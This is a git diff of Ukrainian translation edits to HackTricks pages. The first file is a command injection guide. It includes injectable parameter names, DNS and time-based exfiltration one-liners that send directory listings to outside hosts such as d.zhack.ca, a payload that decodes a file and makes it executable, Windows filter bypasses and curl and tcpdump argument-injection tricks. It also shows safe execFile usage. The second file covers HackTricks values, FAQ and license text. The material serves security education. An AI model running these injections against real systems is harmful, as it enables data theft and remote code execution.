Нижче наведено топ-25 параметрів, які можуть бути вразливими до code injection та подібних RCE vulnerabilities (з [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
```
|
||||
?cmd={payload}
|
||||
?exec={payload}
|
||||
@ -77,7 +77,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
||||
```
|
||||
### Time based data exfiltration
|
||||
|
||||
Extracting data: char by char
|
||||
Витяг даних: символ за символом
|
||||
```
|
||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
real 0m5.007s
|
||||
@ -91,7 +91,7 @@ sys 0m0.000s
|
||||
```
|
||||
### DNS based data exfiltration
|
||||
|
||||
На основі інструмента з `https://github.com/HoLyVieR/dnsbin`, також розміщеного на dnsbin.zhack.ca
|
||||
На основі інструмента з `https://github.com/HoLyVieR/dnsbin`, також розміщено на dnsbin.zhack.ca
|
||||
```
|
||||
1. Go to http://dnsbin.zhack.ca/
|
||||
2. Execute a simple 'ls'
|
||||
@ -101,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
||||
```
|
||||
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
||||
```
|
||||
Онлайн інструменти для перевірки DNS based data exfiltration:
|
||||
Онлайн-інструменти для перевірки DNS based data exfiltration:
|
||||
|
||||
- dnsbin.zhack.ca
|
||||
- pingb.in
|
||||
|
||||
### Filtering bypass
|
||||
### Обхід фільтрації
|
||||
|
||||
#### Windows
|
||||
```
|
||||
@ -120,9 +120,9 @@ powershell C:**2\n??e*d.*? # notepad
|
||||
../linux-hardening/bypass-bash-restrictions/
|
||||
{{#endref}}
|
||||
|
||||
### Node.js `child_process.exec` vs `execFile`
|
||||
### Node.js `child_process.exec` проти `execFile`
|
||||
|
||||
Під час аудиту серверної частини на JavaScript/TypeScript ви часто зустрінете Node.js `child_process` API.
|
||||
Під час аудиту бекендів на JavaScript/TypeScript ви часто натрапите на API Node.js `child_process`.
|
||||
```javascript
|
||||
// Vulnerable: user-controlled variables interpolated inside a template string
|
||||
const { exec } = require('child_process');
|
||||
@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
|
||||
/* … */
|
||||
});
|
||||
```
|
||||
`exec()` запускає **shell** (`/bin/sh -c`), тому будь-який символ, що має спеціальне значення для shell (back-ticks, `;`, `&&`, `|`, `$()`, …) призведе до **command injection**, коли введення користувача конкатенується в рядок.
|
||||
`exec()` запускає **shell** (`/bin/sh -c`), тому будь-який символ, що має спеціальне значення для shell (back-ticks, `;`, `&&`, `|`, `$()`, …), призведе до **command injection**, якщо введення користувача конкатенується в рядок.
|
||||
|
||||
Запобігання: використовуйте `execFile()` (або `spawn()` без опції `shell`) і передавайте **кожен аргумент як окремий елемент масиву**, щоб shell не використовувався:
|
||||
**Запобігання:** використовуйте `execFile()` (або `spawn()` без опції `shell`) і передавайте **кожен аргумент як окремий елемент масиву**, щоб `shell` не брав участі:
|
||||
```javascript
|
||||
const { execFile } = require('child_process');
|
||||
execFile('/usr/bin/do-something', [
|
||||
@ -140,25 +140,25 @@ execFile('/usr/bin/do-something', [
|
||||
'--payload', JSON.stringify(payload)
|
||||
]);
|
||||
```
|
||||
Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024).
|
||||
Real-world case: *Synology Photos* ≤ 1.7.0-0794 був вразливий через неавторизований WebSocket-подію, яка поміщала керовані атакуючим дані в `id_user`, що пізніше вставлялись у виклик `exec()`, досягаючи RCE (Pwn2Own Ireland 2024).
|
||||
|
||||
### Ін'єкція аргументів/опцій через ведучий дефіс (argv, no shell metacharacters)
|
||||
### Ін'єкція аргументів/опцій через провідний дефіс (argv, без shell-метасимволів)
|
||||
|
||||
Не всі ін'єкції потребують shell metacharacters. Якщо застосунок передає неперевірені рядки як аргументи в системну утиліту (навіть через `execve`/`execFile` і без shell), багато програм все одно розбиратимуть будь-який аргумент, що починається з `-` або `--`, як опцію. Це дозволяє атакуючому змінювати режими, змінювати шляхи виводу або викликати небезпечну поведінку, навіть не потрапляючи в shell.
|
||||
Не всі ін'єкції вимагають shell-метасимволів. Якщо додаток передає неперевірені рядки як аргументи системній утиліті (навіть з `execve`/`execFile` і без shell), багато програм все одно розбиратимуть будь-який аргумент, що починається з `-` або `--`, як опцію. Це дозволяє атакуючому змінювати режим роботи, шляхи виводу або викликати небезпечну поведінку, не потрапляючи в shell.
|
||||
|
||||
Типові місця, де це зустрічається:
|
||||
|
||||
- Вбудовані web UIs/CGI handlers, які формують команди на кшталт `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, тощо.
|
||||
- Централізовані CGI маршрутизатори (наприклад, `/cgi-bin/<something>.cgi` з параметром-селектором типу `topicurl=<handler>`), де кілька handler-ів використовують той самий слабкий валідатор.
|
||||
- Вбудовані веб-UI/CGI-обробники, які формують команди типу `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, тощо.
|
||||
- Централізовані CGI-маршрутизатори (наприклад, `/cgi-bin/<something>.cgi` з параметром селектора типу `topicurl=<handler>`), де кілька обробників повторно використовують один і той же слабкий валідатор.
|
||||
|
||||
Що спробувати:
|
||||
|
||||
- Передавайте значення, що починаються з `-`/`--`, щоб утиліта, яка виконується, сприйняла їх як опції.
|
||||
- Зловживайте опціями, що змінюють поведінку або записують файли, наприклад:
|
||||
- Передавати значення, що починаються з `-`/`--`, щоб вони були спожиті як прапорці downstream-утилітою.
|
||||
- Зловживати прапорцями, які змінюють поведінку або записують файли, наприклад:
|
||||
- `ping`: `-f`/`-c 100000` щоб навантажити пристрій (DoS)
|
||||
- `curl`: `-o /tmp/x` щоб записати довільні шляхи, `-K <url>` щоб завантажити attacker-controlled конфігурацію
|
||||
- `curl`: `-o /tmp/x` щоб записати довільні шляхи, `-K <url>` щоб завантажити контрольований атакуючим конфіг
|
||||
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` щоб досягти виконання після ротації в небезпечних обгортках
|
||||
- Якщо програма підтримує `--` як кінець опцій, спробуйте обійти наївні пом'якшення, які додають `--` не в тому місці.
|
||||
- Якщо програма підтримує `--` end-of-options, спробуйте обійти наївні пом'якшення, які додають `--` в неправильне місце.
|
||||
|
||||
Generic PoC shapes against centralized CGI dispatchers:
|
||||
```
|
||||
@ -184,7 +184,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
|
||||
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
|
||||
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
|
||||
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
|
||||
- [PHP proc_open manual](https://www.php.net/manual/en/function/proc-open.php)
|
||||
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||||
- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
|
||||
|
||||
|
@ -2,55 +2,55 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Цінності HackTricks
|
||||
## HackTricks Values
|
||||
|
||||
> [!TIP]
|
||||
> Це — **цінності проєкту HackTricks**:
|
||||
> Це **цінності проєкту HackTricks**:
|
||||
>
|
||||
> - Надавати **БЕЗКОШТОВНИЙ** доступ до **ОСВІТНІХ hacking** ресурсів для **ВСЬОГО** Інтернету.
|
||||
> - Hacking — це про навчання, і навчання має бути якомога вільним.
|
||||
> - Метою цієї книги є слугувати як вичерпний **освітній ресурс**.
|
||||
> - **ЗБЕРІГАТИ** чудові **hacking** техніки, які публікує спільнота, віддаючи **ОРИГІНАЛЬНИМ** **АВТОРАМ** усі **заслуги**.
|
||||
> - **Ми не прагнемо чужих заслуг**, ми просто хочемо зберегти круті трюки для всіх.
|
||||
> - Надавати **FREE** доступ до **EDUCATIONAL hacking** ресурсів для **ВСЬОГО** Інтернету.
|
||||
> - Hacking — це про навчання, і навчання має бути максимально безкоштовним.
|
||||
> - Мета цієї книги — слугувати як всеохопний **освітній ресурс**.
|
||||
> - **STORE** чудові **hacking** техніки, які публікує спільнота, віддаючи **ORIGINAL AUTHORS** усі **визнання**.
|
||||
> - **Ми не прагнемо привласнювати чужі заслуги**, ми просто хочемо зберегти круті трюки для всіх.
|
||||
> - Ми також пишемо **власні дослідження** в HackTricks.
|
||||
> - У кількох випадках ми просто напишемо **в HackTricks скорочений виклад важливих частин** техніки і будемо **заохочувати читача відвідати оригінальний пост** за детальнішою інформацією.
|
||||
> - **ОРГАНІЗОВУВАТИ** всі **hacking** техніки в книзі, щоб вона була **БІЛЬШ ДОСТУПНОЮ**
|
||||
> - Команда HackTricks присвятила тисячі годин безкоштовно **лише для організації контенту**, щоб люди могли **вчитися швидше**
|
||||
> - У багатьох випадках ми лише надамо **в HackTricks короткий огляд важливих частин** техніки та **закликатимемо читача перейти до оригінального допису** за деталями.
|
||||
> - **ORGANIZE** всі техніки в книзі, щоб було **ЛЕГШЕ ДОСТУПНО**
|
||||
> - Команда HackTricks присвятила тисячі годин безкоштовно **лише на організацію контенту**, щоб люди могли **вчитися швидше**
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
## Поширені питання HackTricks
|
||||
## HackTricks faq
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Дуже дякую за ці ресурси, як я можу вам подякувати?**
|
||||
> - **Дякуємо за ці ресурси, як ми можемо вам подякувати?**
|
||||
|
||||
Ви можете публічно подякувати командам HackTricks за те, що вони зібрали всі ці ресурси, у твіті, згадавши [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
||||
Ви можете публічно подякувати команді HackTricks за збирання всіх цих ресурсів у твіті, згадавши [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
||||
Якщо ви особливо вдячні, ви також можете [**sponsor the project here**](https://github.com/sponsors/carlospolop).\
|
||||
І не забудьте **поставити зірку проектам на Github!** (Посилання знайдете нижче).
|
||||
І не забудьте **поставити зірку у проектах на Github!** (Посилання нижче).
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Як я можу зробити внесок у проєкт?**
|
||||
> - **Як я можу долучитися до проєкту?**
|
||||
|
||||
Ви можете **поділитися новими порадами та трюками з спільнотою або виправити помилки**, які знаходите в книгах, надіславши **Pull Request** на відповідні сторінки Github:
|
||||
Ви можете **поділитися новими порадами та трюками з спільнотою або виправити помилки**, які знайдете в книгах, надіславши **Pull Request** до відповідних сторінок на Github:
|
||||
|
||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
|
||||
Не забудьте **поставити зірку проектам на Github!**
|
||||
Не забудьте **поставити зірку у проектах на Github!**
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Чи можу я скопіювати частину контенту з HackTricks і розмістити її в своєму блозі?**
|
||||
> - **Чи можу я копіювати частину контенту з HackTricks і розміщувати у себе в блозі?**
|
||||
|
||||
Так, можете, але **не забудьте вказати конкретні посилання**, звідки взято матеріал.
|
||||
Так, ви можете, але **не забудьте вказати конкретні посилання**, звідки взято контент.
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Як я можу посилатися на сторінку HackTricks?**
|
||||
> - **Як мені правильно посилатися на сторінку HackTricks?**
|
||||
|
||||
Поки вказане посилання **на** сторінку(и), звідки ви взяли інформацію, цього достатньо.\
|
||||
Поки видно посилання на сторінку(и), звідки ви взяли інформацію, цього достатньо.\
|
||||
Якщо вам потрібен bibtex, ви можете використати щось на кшталт:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
```
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Can I copy all HackTricks in my blog?**
|
||||
> - **Чи можу я скопіювати весь HackTricks у свій блог?**
|
||||
|
||||
**Я б краще не радив(ла)**. Це **ніхто не виграє**, оскільки весь **контент вже публічно доступний** в офіційних книгах HackTricks безкоштовно.
|
||||
**Краще не варто**. Це **нікому не принесе користі**, оскільки весь **вміст вже публічно доступний** в офіційних HackTricks books безкоштовно.
|
||||
|
||||
Якщо ви боїтеся, що він зникне, просто зробіть fork на Github або завантажте його — як я вже казав, він уже безкоштовний.
|
||||
Якщо ви боїтесь, що він зникне, просто форкніть його на Github або скачайте —, як я вже казав, він уже безкоштовний.
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Why do you have sponsors? Are HackTricks books for commercial purposes?**
|
||||
> - **Чому у вас є спонсори? Чи HackTricks books призначені для комерційних цілей?**
|
||||
|
||||
Першою **цінністю** HackTricks є надання **БЕЗКОШТОВНИХ** освітніх ресурсів з hacking для **УСІХ**. Команда HackTricks **присвятила тисячі годин**, щоб надати цей контент, знову ж таки, **БЕЗКОШТОВНО**.
|
||||
Першою **цінністю** HackTricks є надання **БЕЗКОШТОВНИХ** освітніх ресурсів з hacking для **УСЬОГО** світу. Команда HackTricks присвятила **тисячі годин**, щоб запропонувати цей вміст, знову ж таки, **БЕЗКОШТОВНО**.
|
||||
|
||||
Якщо ви вважаєте, що книги HackTricks створені з **комерційною метою**, ви **ПОВНІСТЮ ПОМИЛЯЄТЕСЯ**.
|
||||
Якщо ви вважаєте, що HackTricks books створені для **комерційних цілей**, ви **ПОВНІСТЮ НЕПРАВІ**.
|
||||
|
||||
У нас є спонсори, бо, навіть якщо весь контент БЕЗКОШТОВНИЙ, ми хочемо дати спільноті можливість **оцінити нашу роботу**, якщо вони цього бажають. Тому ми пропонуємо людям опцію пожертвувати HackTricks через [**Github sponsors**](https://github.com/sponsors/carlospolop), а також **відповідні компанії з кібербезпеки** можуть спонсорувати HackTricks і мати **декілька рекламних оголошень** в книзі — ці **реклами** завжди розміщені в місцях, де вони **помітні**, але **не заважають процесу навчання**, якщо хтось концентрується на контенті.
|
||||
У нас є спонсори тому, що, навіть якщо весь контент БЕЗКОШТОВНИЙ, ми хочемо дати спільноті можливість оцінити нашу роботу, якщо вони цього бажають. Тому ми пропонуємо людям опцію пожертвувати HackTricks через [**Github sponsors**](https://github.com/sponsors/carlospolop), а також відповідним компаніям у сфері кібербезпеки спонсорувати HackTricks і розміщувати деякі оголошення в книзі; ці **оголошення** завжди розміщені в місцях, де вони **помітні**, але **не заважають процесу навчання**, якщо хтось зосереджений на контенті.
|
||||
|
||||
Ви не знайдете HackTricks, заповнений дратівливою рекламою, як на інших блогах з набагато меншим контентом, бо HackTricks не створений з комерційною метою.
|
||||
Ви не знайдете HackTricks, наповнений нав'язливою рекламою, як інші блоги з набагато меншим обсягом контенту, тому що HackTricks не створено з комерційною метою.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?**
|
||||
> - **Що мені робити, якщо якась сторінка HackTricks базується на моєму дописі в блозі, але на нього не посилаються?**
|
||||
|
||||
**Нам дуже шкода. Так бути не повинно.** Будь ласка, повідомте нам через Github issues, Twitter, Discord тощо — надішліть посилання на сторінку HackTricks з тим контентом та посилання на ваш блог, і **ми перевіримо це і додамо посилання якнайшвидше**.
|
||||
**Нам дуже шкода. Так не мало статися**. Будь ласка, повідомте нам через Github issues, Twitter, Discord... посилання на сторінку HackTricks з цим вмістом та посилання на ваш блог, і **ми перевіримо це та додамо посилання якомога швидше**.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **What should I do if there is content from my blog in HackTricks and I don't want it there?**
|
||||
> - **Що робити, якщо в HackTricks є вміст з мого блогу і я не хочу, щоб він там був?**
|
||||
|
||||
Зауважте, що наявність посилань на вашу сторінку в HackTricks:
|
||||
Зверніть увагу, що наявність посилань на вашу сторінку в HackTricks:
|
||||
|
||||
- Покращує ваше **SEO**
|
||||
- Контент **перекладається більш ніж на 15 мов**, що дає більше людей доступ до матеріалу
|
||||
- **HackTricks заохочує** людей **переглядати вашу сторінку** (кілька людей повідомляли, що з того часу, як їхня сторінка з’явилася в HackTricks, вони отримують більше відвідувань)
|
||||
- Вміст **перекладається на більше ніж 15 мов**, що дозволяє більшій кількості людей отримати доступ до цього матеріалу
|
||||
- **HackTricks заохочує** людей **перевірити вашу сторінку** (кілька людей повідомляли нам, що з того часу як деяка їхня сторінка з'явилася в HackTricks, вони отримують більше відвідувань)
|
||||
|
||||
Однак, якщо ви все ж хочете, щоб контент вашого блогу було видалено з HackTricks — просто дайте нам знати, і ми **безумовно видалимо всі посилання на ваш блог** та будь-який контент, що на ньому базується.
|
||||
Проте, якщо ви все ще хочете, щоб вміст вашого блогу було видалено з HackTricks, просто дайте нам знати, і ми обов'язково **видалимо всі посилання на ваш блог** та будь-який вміст, що базується на ньому.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **What should I do if I find copy-pasted content in HackTricks?**
|
||||
> - **Що робити, якщо я знаходжу скопіпащений вміст у HackTricks?**
|
||||
|
||||
Ми завжди **надаємо оригінальним авторам усі кредити**. Якщо ви знайдете сторінку з контентом, скопійованим без посилання на первинне джерело, повідомте нам — ми або **видалимо її**, або **додамо посилання перед текстом**, або **перепишемо матеріал, додавши посилання**.
|
||||
Ми завжди **надаємо оригінальним авторам усі кредити**. Якщо ви знайдете сторінку зі скопіпащеним вмістом без посилання на оригінальне джерело, повідомте нам, і ми або **видалимо його**, або **додамо посилання перед текстом**, або **перепишемо його, додавши посилання**.
|
||||
|
||||
## LICENSE
|
||||
|
||||
Авторське право © Усі права захищені, якщо не вказано інше.
|
||||
Copyright © All rights reserved unless otherwise specified.
|
||||
|
||||
#### License Summary:
|
||||
|
||||
- Attribution: Ви вільні:
|
||||
- Share — копіювати та розповсюджувати матеріал у будь-якому середовищі або форматі.
|
||||
- Adapt — реміксувати, перетворювати та створювати похідні матеріали.
|
||||
- Attribution: Вам дозволяється:
|
||||
- Share — копіювати та поширювати матеріал у будь-якому середовищі або форматі.
|
||||
- Adapt — реміксувати, перетворювати та створювати похідні матеріали на основі цього матеріалу.
|
||||
|
||||
#### Additional Terms:
|
||||
|
||||
- Third-Party Content: Деякі частини цього блогу/книги можуть містити контент з інших джерел, наприклад уривки з інших блогів або публікацій. Використання такого контенту здійснюється на принципах fair use або з явного дозволу відповідних правовласників. Будь ласка, звертайтесь до оригінальних джерел для уточнення ліцензійних умов щодо стороннього контенту.
|
||||
- Authorship: Оригінальний контент, створений HackTricks, підпадає під умови цієї ліцензії. Рекомендується вказувати автора при поширенні або адаптації цього матеріалу.
|
||||
- Third-Party Content: Деякі частини цього блогу/книги можуть містити вміст з інших джерел, таких як витяги з інших блогів або публікацій. Використання такого вмісту здійснюється відповідно до принципів fair use або з явного дозволу відповідних правовласників. Будь ласка, звертайтеся до оригінальних джерел для отримання конкретної інформації про ліцензування контенту третіх сторін.
|
||||
- Authorship: Оригінальний вміст, створений HackTricks, підлягає умовам цієї ліцензії. Рекомендується вказувати автора при поширенні або адаптації цієї роботи.
|
||||
|
||||
#### Exemptions:
|
||||
|
||||
- Commercial Use: Для запитів щодо комерційного використання цього контенту, будь ласка, зв'яжіться зі мною.
|
||||
- Commercial Use: Для запитів щодо комерційного використання цього вмісту, будь ласка, зв'яжіться зі мною.
|
||||
|
||||
Ця ліцензія не надає жодних прав на торгові марки або брендинг, пов'язані з контентом. Всі торгові марки й бренди, представлені в цьому блозі/книзі, належать їх відповідним власникам.
|
||||
Ця ліцензія не надає жодних прав на торгові марки або брендинг, пов'язаних із вмістом. Усі торгові марки та бренди, які з'являються в цьому блозі/книзі, належать їх відповідним власникам.
|
||||
|
||||
**Отримуючи доступ або використовуючи HackTricks, ви погоджуєтесь дотримуватись умов цієї ліцензії. Якщо ви не згодні з цими умовами, будь ласка, не заходьте на цей вебсайт.**
|
||||
**Отримуючи доступ до HackTricks або використовуючи його, ви погоджуєтесь дотримуватися умов цієї ліцензії. Якщо ви не погоджуєтесь з цими умовами, будь ласка, не заходьте на цей вебсайт.**
|
||||
|
||||
## **Disclaimer**
|
||||
|
||||
> [!CAUTION]
|
||||
> Ця книга, 'HackTricks', призначена виключно в освітніх та інформаційних цілях. Контент у цій книзі надається "як є", і автори та видавці не роблять жодних заяв або гарантій будь-якого роду, явних чи прихованих, щодо повноти, точності, надійності, придатності або доступності інформації, продуктів, послуг або графіки, що містяться в цій книзі. Будь-яке покладання на таку інформацію відбувається виключно на ваш власний ризик.
|
||||
> Ця книга, 'HackTricks,' призначена виключно в освітніх і інформаційних цілях. Вміст цієї книги надається на основі «як є», і автори та видавці не дають жодних гарантій, явних або неявних, щодо повноти, точності, надійності, придатності чи доступності інформації, продуктів, послуг або пов'язаних графічних матеріалів, що містяться в цій книзі. Будь-яке покладання на таку інформацію здійснюється виключно на ваш власний ризик.
|
||||
>
|
||||
> Автори та видавці ні в якому разі не несуть відповідальності за будь-які збитки чи втрати, включаючи, без обмежень, непрямі або наслідкові збитки, або будь-які втрати чи шкоду, що виникають у зв'язку з втратою даних або прибутку, що виникли внаслідок або у зв'язку з використанням цієї книги.
|
||||
> Автори та видавці ні в якому разі не несуть відповідальності за будь-які збитки або втрати, включаючи, без обмежень, непрямі або наступні збитки чи втрати, або будь-які збитки чи втрати, що виникають у зв'язку зі втратою даних або прибутків у результаті використання цієї книги.
|
||||
>
|
||||
> Крім того, прийоми та поради, описані в цій книзі, надаються лише в освітніх та інформаційних цілях і не повинні використовуватися для будь-якої незаконної або шкідливої діяльності. Автори та видавці не схвалюють і не підтримують будь-які незаконні або неетичні дії, і будь-яке використання інформації з цієї книги здійснюється на ризик та розсуд користувача.
|
||||
> Крім того, техніки та поради, описані в цій книзі, надаються лише в освітніх та інформаційних цілях і не повинні використовуватися для будь-яких незаконних або шкідливих дій. Автори та видавці не схвалюють і не підтримують жодних незаконних або неетичних дій, і будь-яке використання інформації, що міститься в цій книзі, здійснюється на власний ризик і розсуд користувача.
|
||||
>
|
||||
> Користувач несе повну відповідальність за будь-які дії, вжиті на основі інформації, що міститься в цій книзі, і завжди має звертатися за професійною порадою та допомогою при спробах реалізації будь-яких описаних тут технік або підказок.
|
||||
> Користувач несе повну відповідальність за будь-які дії, здійснені на основі інформації, що міститься в цій книзі, і повинен завжди звертатися за професійною порадою та допомогою при спробі впровадити будь-які описані тут техніки чи поради.
|
||||
>
|
||||
> Використовуючи цю книгу, користувач погоджується звільнити авторів і видавців від будь-якої відповідальності за будь-які збитки, втрати або шкоду, що можуть виникнути внаслідок використання цієї книги або будь-якої інформації, що міститься в ній.
|
||||
> Використовуючи цю книгу, користувач погоджується звільнити авторів і видавців від будь-якої відповідальності та зобов'язань за будь-які збитки, втрати або шкоду, які можуть виникнути в результаті використання цієї книги або будь-якої інформації, що міститься в ній.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user